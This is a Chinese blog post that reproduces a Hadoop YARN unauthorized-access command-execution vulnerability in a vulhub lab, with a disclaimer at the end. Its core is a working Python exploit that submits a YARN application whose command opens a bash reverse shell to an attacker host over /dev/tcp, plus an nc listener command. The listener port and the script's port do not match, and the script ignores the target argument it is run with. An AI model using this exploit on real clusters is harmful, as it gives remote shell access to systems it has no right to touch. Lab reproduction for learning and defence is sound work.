漏洞复现-hadoop-命令执行

 
 
 
 

0x00 实验环境

攻击机:Win 10

靶机也可作为攻击机:Ubuntu18 (docker搭建的vulhub靶场)

 

0x01 影响版本

hadoop 3.3.0以下

vulhub版本为2.8.1:

 

0x02 漏洞复现

(1)访问/cluster/apps页面:(该页面存在说明存在未授权访问漏洞)

 

 (2)使用以下官方exp反弹shell

#!/usr/bin/env python

import requests

target = 'http://127.0.0.1:8088/'
lhost = '192.168.0.1' # put your local host ip here, and listen at port 9999

url = target + 'ws/v1/cluster/apps/new-application'
resp = requests.post(url)
app_id = resp.json()['application-id']
url = target + 'ws/v1/cluster/apps'
data = {
    'application-id': app_id,
    'application-name': 'get-shell',
    'am-container-spec': {
        'commands': {
            'command': '/bin/bash -i >& /dev/tcp/%s/9999 0>&1' % lhost,
        },
    },
    'application-type': 'YARN',
}
requests.post(url, json=data)

 

执行该exp:

python3 unauthorized-yarn-hadoop.py http://xxx:8088 #执行Exp

 

(3)攻击机开启监听(执行exp之前开启监听):

nc -lvvp 9812

 

 

 (4)会话获取成功:

 

0x03 免责声明

本漏洞复现文章仅用于学习、工作与兴趣爱好,并立志为网络安全奉献一份力量,凡是利用本博客相关内容的无良hackers造成的安全事故均与本人无关!

posted @ 2021-06-28 15:23  铺哩  阅读(3631)  评论(0编辑  收藏  举报